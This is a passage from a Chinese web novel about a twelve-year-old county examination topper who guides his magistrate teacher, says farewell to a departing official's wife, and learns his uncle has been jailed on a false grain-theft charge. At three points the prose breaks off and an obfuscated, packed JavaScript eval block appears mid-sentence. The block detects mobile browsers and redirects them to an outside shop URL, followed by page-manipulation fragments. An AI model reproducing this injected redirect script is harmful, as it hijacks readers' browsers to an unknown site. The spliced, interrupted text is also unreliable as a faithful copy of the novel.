却不想,到了隔壁,才从坐在院中大嫂的口中得知,大郎他吃罢饭就去了老村正家,怕是还要得一会儿才能回来。 王母对于二叔一家以及村里人的态度,早就看了个清楚。 “这样啊……” 当面大嫂冷冷淡淡的态度,王二水免不得有些欠愧,手不控制的摸了摸身上的短褂边儿。 这时才突然注意点,大嫂正捧着碗啜饮着的,好像是药。 即使隔了几步远,也能闻到那股淡淡的药味。 王二水不由问:“嫂子,这是大郎去镇上给抓药了?” 他自然知道大哥家的家底早就空空如也,根本没有银钱去看病抓药。既如此,想来这大郎倒是去把那吃食给卖了,可卖了以后不是换了粗粮,而是给他娘换了药! 王母担心自己咳嗽喘气,一不小心再把这药汁洒了,因此小口小口的啜着,踏踏实实的咽进去了一口,再继续喝下一口,生怕浪费了一滴汤药。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12712986|124030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一篮鲜货一篮干货。 篮分三层,分别装了鲜羊肉、时令鲜鱼、鲜虾、鲜菇等,另一篮则是精选火腿、虾干、菌干、蜜果四样、蒸糕四样,好看又精致。 平日里能见到这篮子里的一样东西,都极是不易,更别说此时堆在了一起拿出来,简直是眼花缭乱了。 想到自己带来的只有寒酸的几样东西,李念仁有些不自在的看了眼自己的父亲,见他显然也有些惊愕,但仍然镇定的挺了挺身子,强打着给两人撑场子。 刘和桂特意着布衣长衫、头带学子纶巾,躬身一揖:“一拜尊师,但请尊师授业解惑,学生必夜以继日、悬梁刺股,勤学苦练、不负师恩!” 段岭见了眼前这谢师礼,并无异色,只同样的示意老仆收下,让刘和桂和他的爹刘兴业依次坐下。 刘和桂并不为段岭的平淡感到沮丧,不为财色所动,这才是为人师表嘛! 但并不妨碍他在落座前,看向王景禹和李念仁二人的眼神带着掩不住的优越感。 李念仁显然有些坐立不安,见他看过来眼神不自觉躲闪,他又看这次县试的案首王景禹,上次听说他家里没有主事的大人,是个无依无靠的无丁户。 不曾想,他刚看过去,王景禹便也转了视线,淡淡看过来,带了些若有若无的礼貌笑意,冲他点了下头。 刘和桂一怔。 那点优越感不知怎么就像戳破了的气泡,倏忽不见。 甚至突然觉得自己方才的心理,简直莫名其妙!想到这,旋即呵呵一笑,回了王景禹一礼。 王景禹见他神情转变,也心下了然。 刘和桂的食坊老板爹刘兴业,向来会做人,虽不得跻身三皇五帝团伙核心,但能在这样的环境里作为商户生存下来,处事可谓是极圆融的。 且行为低调,赚下的钱,至少七八成以上都分了出去顾人面,连自家儿子刘和桂读书一事,也从不张扬的送到郭秀才的私塾,而是自个儿在家里私下寻了书,从妻子娘家亲戚请了一位通书的,私下教导,直到今年借着段知县开学之风,才决定叫刘和桂一试。 心下打好了算盘,只要刘和桂能真的挣出名头来,他和妻子就算舍下了临南县这里的家业,也要继续支持儿子读下去。 说起来,倒是和王景禹一般,是看准了这个时机方才出头。 刘兴业一坐下就自来熟的与知县禀说县里上下的民风民事,气氛颇是融洽。 刘兴业:“咱们临南县虽小,但也是人杰地灵,有您这样的探花魁星来治理,真是大幸!也是承了您的文气,咱们县今年才能一次就出了四个童生!” “是临南县地灵人杰不错,子弟们自己争气,倒与本县并无甚关系。” 段岭并不贪这点虚名,也是实打实的鼓励这几个学生。不过,他此时虽然同刘和桂的爹闲话客套,但情绪已然没有最初那么好。 这么能说会道的人,愣是除了这一句给临南县沾了文气以外,就再举不出任何一条,他就任临南县以来,说得出口的功绩了。 临南县这一局,究竟要如何来破,他又是否真的能破? 48. 第四十八章 回想自己到任的这几个月,一心想要有所施为,却四处碰壁,毫无政绩可言。 段岭重新陷入这冰冷难堪的现实里,这几日因为县试学子带给他的耳目一新的感觉,在此刻俱也消退大半。 这话自是把刘和桂也夸在了内,刘兴业听着心里也高兴:“知县大人太谦逊了。” 同时他也敏感的察觉到了知县的情绪变化,并未急着再找话题。 借着喝茶,思索自己方才究竟是有哪些话没说对。 李立田见总算能有机会,就想赶紧趁这时候说两句。可方才知县和刘兴业谈话的氛围未散,他张了张口,却觉自己再要继续先前他与县令所讲的,今年的雨水收成之事已不合时宜。 一片莫名的静谧中,王景禹略欠了欠身:“老师,小子近日读书,有一处反复思量仍不得甚解,不知能否向老师当面请教?” 学生有问,段岭敛了神思:“自然,但说无妨。” 王景禹:“学生读到''虽有智慧,不如乘势;虽有滋基,不如待时。''又有''建功立业,时不我待''。一说待时乘势,一说时不我待。同样一件事,为什么从两本书中讲出来,却是完全相反的道理?两种说法,孰对孰错?又或者说,圣人说的都不错,那么这世间万事的道理,不就都不是唯一的吗?” 段岭听完王景禹的问题,精神微微一振,先炯炯有神的赞了句:“景禹问的好,读书自当如此般多思多问!” 接着正色沉思后方道:“咱们就说农家之时。对于农家而言,最重要的就是时,此时乃天时,谷雨不引野火,立冬不犁田,说的就是为农要得其时,否则就是颗粒无收的下场。但同时,农家又要在露水前晒完种,方可在秋分乘时下种,说的就是要据时提前做好准备,因为时不我待。此所谓''君子藏器于身,待时而动''。既乘势待时,又藏器于身,如此事方可成。如若不顾时势,但凭理想和意气任性施为,则事倍而功难半……” 说到这里,段岭突然眉间一动,停了下来。 他突然想到,自打就任这临南县以来,之所以多感不畅,不就是方才自己口中所说的,总想不顾时势,因此事几倍却寸功难获。 自诩要做出政绩,盘活一县之民的生计,却不顾临南县久持于县吏之手的现实,一来就将县吏一竿子打死,关系不尴不尬,乃至自己的诸多举措总是阳奉阴违。 作为一县主官,到任已有两个月,但县衙的钱库册人这几样,没有一个被顺利掌到手中的。 迄今为止,也只办成了县试这么一桩事而已。 再往前,又想到多年选官挣扎,难道就没有自己故作清高,所行所为不合时宜,致使当年那一场洗礼后,本就不多的盟友也让他失去的原因吗? 时也势也,他不过一小小县官,不思虑谋定,乘势而动,又谈何施为? 是的,施为。 虽冷遇至今,他仍然希望自己禀其师理念,在其位谋其政,尽己之力有所施为。 他如今所遇到的,跟刘大学士当年所面对的,朝野上下众议沸腾、多方掣肘的局面,实在不过是小儿科,又算得何难! 段岭兀自捋须思索,彻底一扫阴霾的思绪。 王景禹知道自己的目的已经达到,便不再言语,端起案几上的茶盏饮了几口。 但其他几人就莫名其妙了,不知这戛然而止的发言究竟是何缘由。就是那刘和桂的爹,一时间也不确定应不应该说点什么来。 段岭倒也没耽搁多久,王景禹饮了半盏粗茶的功夫,他就已经回过了神。 再次看向自己亲点的案首弟子,更是满意的连连点头,目光中甚至饱含了些……感激? 他当然不会认为王景禹是故意挑起这个话题,就是为了引他自思。但不得不说,正是这学生的谈话,才触发了他的心境,明白了自己的症结所在。 李念仁和刘和桂对当前的局面,都完全摸不着头脑。 接下来的谈话,因着知县的态度,厅内几人不由自主的,每隔一会儿功夫就要下意识看看王景禹。 王景禹反似全无所觉,谈吐举止无半分不同。 直到隅中将过,两盏茶叙罢,段岭分别回了三位学生三份相同的回礼,几人这才告了辞回去。 县试发案后不到半个月,主簿王端的调任敕牒也从正式州府衙门发到了临南县。 王主簿一家早已得知消息,打点好了家当,一一拜别了知县,告别了旧吏乡邻,决定于四月中旬便携一家人离开临南县。 廖夫人临走前,同王景禹交了底,她最终把自己的廖家药铺,交给了东乡李茅那个的外室——秋娘。 按说她以官妇之身,是断难同这样一个出身戏班子的外室女有什么牵扯。但那日宴后,几位夫人归家,李茅的夫人刘氏虽然在席上一声不吭,但为着担心误了什么事被李茅责骂,还是一五一十把席上的事说与了李茅听。 李茅对医药之理从不通熟,虽则这是个不错的营生,但却是要花许多细功夫和心思去经营。他自有那轻巧简便的来钱路子,并无意去接。 哪知,待他当晚说与了秋娘听,秋娘却一力叫他,定要接下了这个药铺给她。 秋娘跟了他这些日子,银钱和产业李茅都给了不少。 念她平日里无事,一定要这个药铺来管一管,也无甚不可。 只是他听说想要这家药铺的不少,便搭了人去求见廖夫人,本欲亲自上门求肯此事,却不想秋娘自个儿扮成个跟班的随他同去,也因着她自个儿的一番言辞,还真叫那官家夫人,把药铺与了她! 王景禹已同廖夫人谈过了药片供给之事。 临行的车架前,廖夫人道:“咱们大景朝各类丸散膏药不少,单说那州城府城里官家办的惠民药局,成药种类就有几十种。但你说的那所谓药片,我倒从未听闻过。不过,我也一直知道你有着恁许多的主意。已把你列在了药渠的单子上交给了秋娘,待你的药片制成,你自可同秋娘在药铺里先试,也可寄于我一些样品来。” 王景禹笑了笑道:“好,承蒙夫人厚爱。秋娘子本也想来送夫人,但恐于夫人声名有累,特托了小子代劳。夫人一路顺风,日后小子若得闲便,再去拜访夫人。” 廖夫人一哂:“这会子她倒恁多的礼了,装假小子那会也不见她顾虑什么。” 旋即又沉了下来,不知为何有些自嘲:“今日一别,宦海浮沉,前途茫茫,日后不知何时得能再见。你以后只怕前程大着了,就莫要说这些空话哄我了!” “夫人怎这般说,便算真如夫人所言,小子也不能忘义不是?” 见廖夫人仍是一副忧心之态,王景禹知其心结所在,亦知此事不易劝解,只道:“夫人,但行前路。往后夫人若是得空,也可与小子时时书信往来。好赖小子也能说几句笑话,聊助夫人开怀!” 从他这两年的接触下来,廖夫人其人与其夫王主簿的性情相差甚远。 王主簿也曾幼小读书,偏偏只得了个秀才功名后,于科举一途便再无斩获。可他于为官一事,却甚是得心应手,处事圆融轻巧,对官道一途,寄望颇深。 廖夫人则娴静精明,又好专研医药一道,并不甚喜官妇官户之家的迎来送往。 虽非世代医家出身,也叫她把自己的爱好经营和闯出了路子。夫妻二人眼下,尚可相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12757408|124030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敬礼让,可再往后,如若真的分歧大到不能忽视的地步,廖夫人又当如何? 廖夫人听王景禹言语,对他如此年纪却总能洞察人心已不感到奇怪,只道:“好啦,知你小小少年也快要忙过县官了。再说我一个与你娘差不多年岁的人,又怎还烦你开解?我这便走了,你也回罢!” 王景禹送她上车:“夫人好走。” 倏忽五月至,一日私塾休沐,王景禹在小峦山同元四、李立田一块看顾作坊里的药片进展。 经过两个月的施工,这处作坊已称得上五脏俱全,符合了王景禹基本的需要。作坊不大,开在一处山坳的向阳面,就是直接从山体里辟出来的空间。在需要的时候,将山坳的门窗稍作遮掩,即可与这片山坳完美的融合为一体。 这片区域选在小峦山深处,峦水环绕隔出的一片山脉里,连常年居住在小峦山的山户都甚少涉足,更遑论其他两州边境之民。 作坊宽窄皆五丈许,高一丈许。 这二年里,他从廖夫人处借了各类药种子,在山坳外辟出了一片空地,种了几方药田。经过他在家多轮试验,总算摸索配齐了几方药剂。今儿个,就来到这作坊一一教给元四和李立田二人。 他并不怕这些药方子外传,一来这于他而言不过九牛一毛,二来他既选择了用这两人,就要信任他们,否则他目前最主要的精力都要分给科考,再在这上面事事严控把关、严防死守,还不把这副好不容易调起来的身板给累趴下了? 元四头脑灵便,王景禹教过几遍也学会了。 他虽然不知自己将来制作出的这些东西究竟能有甚作用,但目前只要清楚,做出来的东西,王景禹都能通过双满村李家、安家销出去换成钱和货,叫他们山中日子渐渐好过。 王景禹见他和李立田均是一头的汗,不禁道:“这些日子,因着这处作坊,真是辛苦元四哥和李叔了。” 虽然这两个月是农闲,但李立田家人口多田亩也多,各样的活计一直就多。 牛二去应了急夫,他还要时时关照王家的家事田事,再加上这处作坊,为了叫王景禹好好读书,他几乎日日都要不引人注意的山里山外进出,勾兑山里元四和山外安家的进展情形。 李立田道:“景禹说哪里话,你还小要读书,叔作为长辈自然要多担待。更何况这种药的事,念仁爷爷也在自家田里摸索了几十年,叔多少也算懂得!叔没你那些主意,但这些事上总是能多出些力的。” 王景禹点头:“如今这作坊算是有些眉目,牛二那里的夫役按日子也快回来了。到时,李叔也能少劳些心力。” “牛二和王二水他们这一走,前后也快三个月,马上麦子熟下,是该回来了。” 李立田道,官家征夫,大体上还是要顾虑农时的,六月农忙前合该都叫放回来了。 同元四交代好了这片作坊中事,三人又去往元四家里,吃了丫妹准备的午食。王景禹和李立田这才告别了元四,一同回到双满村。 刚到自家小院附近,石蛋便从自家奔着迎了过来。 石蛋一头一脸的汗,都是急出来的:“大哥,你可回来了!” 王景禹习惯性问:“出什么事了?” “乡里来人说,我爹他们原本已经从洛河修堤处往回走了。半路上,又被州衙佂用差役去押送今年的夏税粮!本来这摊派来了便来了,安排的也只是派了他们去送咱们临南县的税粮到郦县里的常平仓,来回不过三五日的功夫。可他们几人一到郦县常仓,就被衙门里的公差给扣下了。说是……说是郦县的常仓失窃,怀疑是被这些运粮的差夫窃了去私卖了,直接就给收了押要问罪!” 49. 第四十九章 石蛋一口气倒了干净,王景禹也明白了事情的前后因果。 本就马上要入农忙时候,男丁不仅不得归家务农,还直接入了狱。这县衙大牢,于普通小农不异于天牢一般,一旦进去了,不赔个倾家荡产,连活人都难再见到一面。 若是一般的民间官司,也还能登门到对家,打个商量,甚至是对簿公堂。 可牛二和王二水,却是官家直接拿了罪证扣押。小民家属,又怎么去同官家对堂? 这简直就是九死一生的局面,怎不叫人着慌? 两人说话间,已经走到了石蛋家院外,隔了几步远,就听到刘氏在院中愤恨的声嗓,另有两家是双满村和临近大里村的村妇,丈夫也在这一轮被征了的,也都面带愁色的抹着眼泪。 但她们两个好在叔伯公婆住在一堆没有分家,不至于一下子就完全没有了劳动力。 刘氏因为连日的忧虑一直上火,此时嗓音都已哑了:“你们说,那些当官当权的,是都瞎了眼了吗?但凡他有一个,来亲眼看一看,看一看他王二水这一家,过的是什么样粗陋日子,还能说的出私卖粮食这种话来?他王二水要是有那胆量有那心计,家里的日子还能这般一天熊似一天!?” 真的是怕什么来什么。 她提心吊胆的,一天天算着日子,怕的就是王二水这一去,会出意外! 她那落户在此的弟弟刘四民,趁着春闲学了扯麻绳的手艺,攒出些货了就拿出去到集市上卖,此时并不在家。 况且,便算他在家,他一个外来的人,对这样的事也是无能为力。才两岁的二狗,此时靠在刘氏怀里,茫然看着母亲。 另两名妇人也道:“正是呢,咱这些人,要是有那能耐,有那人面能窃卖官家的粮物,又怎会老老实实的被征了去应春夫!” 几人说话间,刘氏抬起强忍着泪水的脸,模模糊糊看清了站在院门口的石蛋和王景禹。 她瞬间收了悲苦之色,撑着架子道:“石蛋,你干什么去了?” 石蛋瞅了她一眼,也不掩饰:“娘,我去找大哥了,想着看大哥有没有什么办法……” “他一个比你大不了两岁的娃子能有什么办法!谁让你去找他的,给我回来!” 刘氏这突然拔高的音量,怵的小二狗一个激灵,回过神来看着自己哥哥石蛋,嗷嗷大哭起来。 石蛋忙走了过去,接过二狗抱起来。 见幼子如此,刘氏也兀自泄了气,任由石蛋接走而二狗,扶了扶二狗的小脸:“不哭不哭,是娘不好,吓到咱小二狗了。” 与刘氏全然不同的是,另外两名村妇看到王景禹,立马站了起来迎过去。 与王家连户的户长马三家媳妇道:“大郎,你听说了吧?咱们乡里,这回被征了春夫那几个,你二叔、牛二,还有我家马三,都被押在郦县大牢了啊!” “是啊,大郎你是咱县里的案首,连知县大人都高看你一眼。你看看,咱们能不能去找那李保正一块去县上探问一下,啊?” 王景禹打量这些人焦灼的神色,要说的话尚未出口,正在哄二狗的刘氏却猛然站起身。 她径直指着说话的两个媳妇道:“你们来我家,若是要一堆商量主意,那就好好同我商量便成!个个都是快要抱上孙子孙女的人,活了几十年,一出事就净想着指望一个十二岁的崽娃吗?” “娘……” 石蛋见他娘说话不好听,也怕她再多说什么伤大哥脸面的话,忙不迭的想要提醒。 王景禹看了眼一直不敢把视线往自己身上落的刘氏,却是接了她的话道:“是了。大伙不妨尽快先去寻各自的户长和保长,各个门路都走一走,总比都压在我一个小子身上强。” 这事还有牛二在里面,他定然是要想法子问的,只是,尚没有任何音信眉目之事,他却不能当下就应了这些人的求肯。 那两名村妇见王景禹本来都要开口了,却被刘氏生生截住了话头,不由得脸色十分不好看,怨怼的瞪着刘氏。 “刘彩云,你们自己一家人瞧不上自己个儿家人,我们也不想管!可是大郎如今有出息,你打着灯笼,在你们村、咱们乡,乃至全县里去问问,有几个能不认!你自个非要钻那个牛角尖,掐那没用的强,可别拉着我们!” “可不是吗?大郎本来还有心说些什么,叫你一开口给堵回去,你成心要叫我们求告无门啊!” 那两个妇人今儿个聚到她家,本就为着能等到王家大郎,好打问一番。 虽说,她们也并不确定,大郎这样一个十二三岁的少年,究竟能不能办得些事,可行不行的总要试试啊! 王二媳妇你自己拉不下脸来求你大侄子,干嘛拖着我们下水! 被两人不假颜色的一番指责,刘彩云却不怒反笑,她看着两名村妇道:“你们少拿这些话来臊我!我还不知道你们想的是啥?这时候上下嘴唇一张,生生把大郎捧起那么高,图的是什么?安的又是什么心?跟官家争长短的事,你们自己都不敢去,来抹几句蜜,就指望别人替你们担这风险!怎么不把''不要脸皮''几个大字贴自己脸上去?” 那马三家担了户长这些年,给这一大户的人家办过什么了? 从来眼睛只往上瞧,看不上她们王家,瞧不起乡里乡亲,却又在那户长保长堆里混不出个样儿!被征了春夫出了事,倒想着来求了! 换她来,纵使再贴八层皮,都豁不下这个脸面! 当初她眼见大嫂一家无望,若再伸手,怕是要把老二这一门也一块拖了进去。硬着心肠,对大嫂一家人的死活不闻不问。 现如今,人家凭着自己生生活了过来,还越活越好,越活越红火。 那她……她也不能后悔,也不能眼馋,也不能去再腆着脸去攀扯。 王二水这回遇到的事,可是要同官家去分说的,对她们普通农户而言,不异于飞蛾扑火,又岂是接下几张酱肉饼子那般简单? 见王景禹毫不迟疑的走了,那两名村妇也怨愤的瞪了刘氏,刚刚对她的那一点同情怜悯之心,也都烟消云散,甩手气哄哄的回家再商议。 石蛋抱着小弟二狗,在灶房寻了一把枣子,好容易哄好了小弟。 回想方才,他娘和大哥之间别扭的气氛,以及他娘拦着自己不许央告大哥。 此时也回过味来,他娘其实是有意在人前要给大哥推事减责,只是话里话外依旧火星子四溅。 此时看着软软呼呼吃小枣的小弟,他试着小了声道:“娘,往后你能不能跟大哥好好说话,大哥他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12773239|124030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都没说记恨咱以前……” 殊不知这一句出口,又触了刘氏神经,她猛的抬了头盯着石蛋:“记恨?记恨谁?我和你爹吗?他凭什么记恨!” 她此时说话,已不似刚才那般,但音量的大小也足以传到隔壁的院子里。 “我们没帮他们吗?你大伯和你爷爷那一走,没消息了整整三年,三年哪!前头那一二年里,我和你爹那是出力又出粮的照看他们。可是他们回不来,他家就成了无底洞啊!再帮,咱们一家都得跟着栽进去!你屁都不懂,还想替他来教训我了?”刘氏气恨恨的对着石蛋发火,石蛋一时无言以对。 她会备受愧疚的煎熬,可是她也不能接受别人的指责。 对嫂子一家人,她的良心上过不去,直兜兜转转了这两年多。 可若她这样实在没了办法,才只能选择活自己的人,还要受到指责,那么,那些造成了这一切苦难发生的人,那些踩在他们苦难头顶上吸食/精血的人,为什么不受到指责? 人人都敢来朝她刘彩云指三喝四,可谁又比谁做的好了?谁又敢到那刘原和李茅跟前多说一个字? 一墙之隔的院子里,王母正在准备晚饭,听了这话打量了眼坐在桌案边又打开了书的王景禹,见他专注的读着书,像是完全听不见一般。 王母摇了摇头,看了眼隔壁的方向,就继续做自己的饭了。 倒是两个双胞胎,虽然不能完全听懂隔壁说的话,但小脑瓜也意识到他们是在说大哥,并且不像是什么好话。 他们原本不敢扰着大哥读书,在院里听王母的话扒豆子,此时两颗小脑袋凑到一块,嘀咕一会后一起站了起来。 二丫先用依旧奶奶的嗓音喊:“不好啦!哪里来的山妖,破锣嗓子吵死个人了!” 二郎一本正经做道士状:“何方妖人胆敢作乱,待本道这就前去除了她!” 二丫脆藕似的胳膊一指隔壁:“就那!” “噢——” 二郎小手略一掐算:“原来是个黄鼠娘娘!罢了罢了,此物极臭,本道也不想惹的一身臊啊!” 从灶房放好了正切的菜的王母走出灶间:“你俩快扒豆!” 原本一回院就再次躺在靠背马扎上,不动如山独自看书的王景禹,谴责又好笑的看他们一眼。 他在小峦山深处折腾了大半天,早累的快散架了。 古代办案的效率他心里有数,牛二和王二水的事不差这半日,他好歹要略歇一番再做打算。 刘彩云是个什么别扭性子,他也不是今天才知道。 从一开始,他亦从未记恨过原身的二叔一家,更无指责之意。 甚至,在他看来,刘彩云反倒还是个村妇之中难得清明又有些辣狠勇气的人。只不过,常年堆了满身的荆棘,实在扎手。 两个崽子接收到眼神,收了嬉笑,规规矩矩继续扒豆子,只依旧忍不住互相碰碰小眼神。 隔壁院中,清清楚楚听到两个小娃儿这一番演绎的黄鼠娘娘妖刘氏:…… 石蛋强忍着想要喷出来的笑:忍住!他应该生气! 他偷眼看了看他那轻轻咬着下唇,一脸尴尬的娘,一时心头阴霾尽散。这可是他娘头一次吃了瘪以后,还闷不吭声的受下了的。